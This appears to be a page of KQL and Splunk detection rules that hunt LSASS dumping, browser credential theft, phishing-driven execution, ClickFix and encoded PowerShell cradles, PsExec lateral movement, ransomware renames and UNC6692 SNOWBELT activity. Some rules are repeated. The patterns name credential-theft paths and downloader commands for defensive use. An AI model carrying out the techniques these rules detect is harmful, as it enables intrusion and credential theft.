where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] UNC6692 SNOWBELT loader: headless Edge with --load-extension SysEventsInstallationHigh
Hunts the SNOWBELT browser-backdoor loader, which UNC6692 launches via a scheduled task that starts msedge.exe in headless mode and side-loads an unpacked extension from %LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents. The combination of headless=new + a user-writable extension path masquerading as 'MS Heartbeat'/'System Heartbeat' is unique to this campaign.
Rationale: GTIG report explicitly names the extension directory 'Extension Data\SysEvents' and the masquerade names 'MS Heartbeat'/'System Heartbeat'. Legitimate use of msedge.exe with --headless=new + --load-extension from a user-writable folder is rare, making this near-zero FP.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/unc6692-social-engineering-custom-malware
• https://www.bleepingcomputer.com/news/security/threat-actor-uses-microsoft-teams-to-deploy-new-snow-malware/
ATT&CKT1176.001T1053.005T1564.003
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "msedge.exe"
| where ProcessCommandLine has "--headless=new"
| where ProcessCommandLine has "--load-extension="
| where ProcessCommandLine has_any (@"Extension Data\SysEvents", @"\SysEvents", "MS Heartbeat", "System Heartbeat")
| where InitiatingProcessFileName !in~ ("setup.exe","msiexec.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, ProcessId
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name="msedge.exe" Processes.process="*--headless=new*" Processes.process="*--load-extension=*" (Processes.process="*Extension Data\\SysEvents*" OR Processes.process="*\\SysEvents*" OR Processes.process="*MS Heartbeat*" OR Processes.process="*System Heartbeat*") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Detects the UNC6692 fake 'Mailbox Repair Utility' phishing landing on AWS S3 buckets matching service-page-NNNNN-NNNNN-outlook.s3.us-west-2.amazonaws.com that delivers the AutoHotKey-based SNOWBELT installer (Protected.ahk, RegSrvc.exe, profileB5.txt). The S3 naming pattern and the AHK file/runtime trio are unique to this campaign.
Rationale: Combines two GTIG-confirmed unique strings: the regex S3 bucket pattern service-page-NNNNN-NNNNN-outlook + the named droppers Protected.ahk / RegSrvc.exe / profileB5.txt that the fake 'Mailbox Repair' page hands out. Either is rare on its own; the join makes this an alert-grade signal.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/unc6692-social-engineering-custom-malware
• https://hackread.com/unc6692-hackers-microsoft-teams-snow-malware/
ATT&CKT1566.003T1204.002T1059.010T1608.005
Data sourcesWebEndpoint.Filesystem
let dropFiles = dynamic(["Protected.ahk","RegSrvc.exe","profileB5.txt","update.html"]);
let phishHits =
DeviceNetworkEvents
| where RemoteUrl matches regex @"service-page-\d{4,6}-\d{4,6}-outlook\.s3\.us-west-2\.amazonaws\.com"
or RemoteUrl has "cloudfront-021.s3.us-west-2.amazonaws.com"
| project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName;
let fileDrops =
DeviceFileEvents
| where FileName in~ (dropFiles)
or (FileName endswith ".ahk" and FolderPath has_any (@"\Downloads\", @"\Temp\", @"\AppData\"))
| project Timestamp, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256;
phishHits
| join kind=inner (fileDrops) on DeviceId
| where abs(datetime_diff('minute', Timestamp, Timestamp1)) < 30
| project Timestamp, DeviceName, RemoteUrl, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.url="*service-page-*-*-outlook.s3.us-west-2.amazonaws.com*" OR Web.url="*cloudfront-021.s3.us-west-2.amazonaws.com*") (Web.url="*update.html*" OR Web.url="*Protected.ahk*" OR Web.url="*RegSrvc.exe*" OR Web.url="*profileB5.txt*") by Web.src Web.user Web.url Web.dest Web.http_user_agent | `drop_dm_object_name(Web)` | rex field=url "service-page-(?<bucket_id1>\d{4,6})-(?<bucket_id2>\d{4,6})-outlook" | append [| tstats summariesonly=true count from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("Protected.ahk","RegSrvc.exe","profileB5.txt") by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.process_id | `drop_dm_object_name(Filesystem)`]
[LLM] UNC6692 SNOWBELT housekeeping: tasklist SHELL32.dll vs CoreUIComponents.dll taskkill loopInstallationHigh
Detects the bespoke watchdog command UNC6692 schedules to keep SNOWBELT alive: it lists msedge.exe processes loading SHELL32.dll, cross-checks them against CoreUIComponents.dll, and force-kills any headless Edge instance not running the malicious extension. The exact module-pair filter is unique to this campaign and not present in legitimate Edge tooling.
Rationale: GTIG explicitly publishes the watchdog cmdline `for /f tokens=2 ... tasklist /M SHELL32.dll ^| findstr msedge.exe ... tasklist /M CoreUIComponents.dll ... taskkill /F /PID`. No benign tooling enumerates msedge.exe by SHELL32.dll vs CoreUIComponents.dll module loading — the module-pair filter is the high-fidelity tell.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/unc6692-social-engineering-custom-malware
• https://www.darkreading.com/cloud-security/unc6692-social-engineering-malware-cloud-abuse
ATT&CKT1053.005T1059.003T1546.012
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName in~ ("cmd.exe","tasklist.exe","taskkill.exe","findstr.exe")
| where (ProcessCommandLine has "SHELL32.dll" and ProcessCommandLine has "msedge.exe")
or (ProcessCommandLine has "CoreUIComponents.dll" and ProcessCommandLine has "msedge.exe")
or (ProcessCommandLine has "tasklist" and ProcessCommandLine has "findstr" and ProcessCommandLine has "msedge" and ProcessCommandLine has "taskkill")
| summarize cmdlines=make_set(ProcessCommandLine, 10), procs=make_set(FileName, 10), count() by DeviceId, DeviceName, InitiatingProcessFileName, bin(Timestamp, 5m)
| where array_length(procs) >= 2 or cmdlines has_any ("SHELL32.dll","CoreUIComponents.dll")
| extend ScheduledTaskHint = iif(InitiatingProcessFileName in~ ("svchost.exe","taskeng.exe","schtasks.exe"), "likely_scheduled","interactive")
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="cmd.exe" OR Processes.process_name="tasklist.exe" OR Processes.process_name="taskkill.exe") (Processes.process="*tasklist*/M*SHELL32.dll*" OR (Processes.process="*CoreUIComponents.dll*" AND Processes.process="*msedge.exe*") OR (Processes.process="*tasklist*" AND Processes.process="*findstr*msedge.exe*" AND Processes.process="*taskkill*/F*/PID*")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process Processes.process_id | `drop_dm_object_name(Processes)`
2026-04-2314 use cases5 techniques6 kill-chain phases detected
In this newsletter, Joe discusses why understanding other disciplines can often flow back into the macro and micro of cybersecurity, especially in a world of AI.
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-20333", "CVE-2025-20362")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-20333", "CVE-2025-20362")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
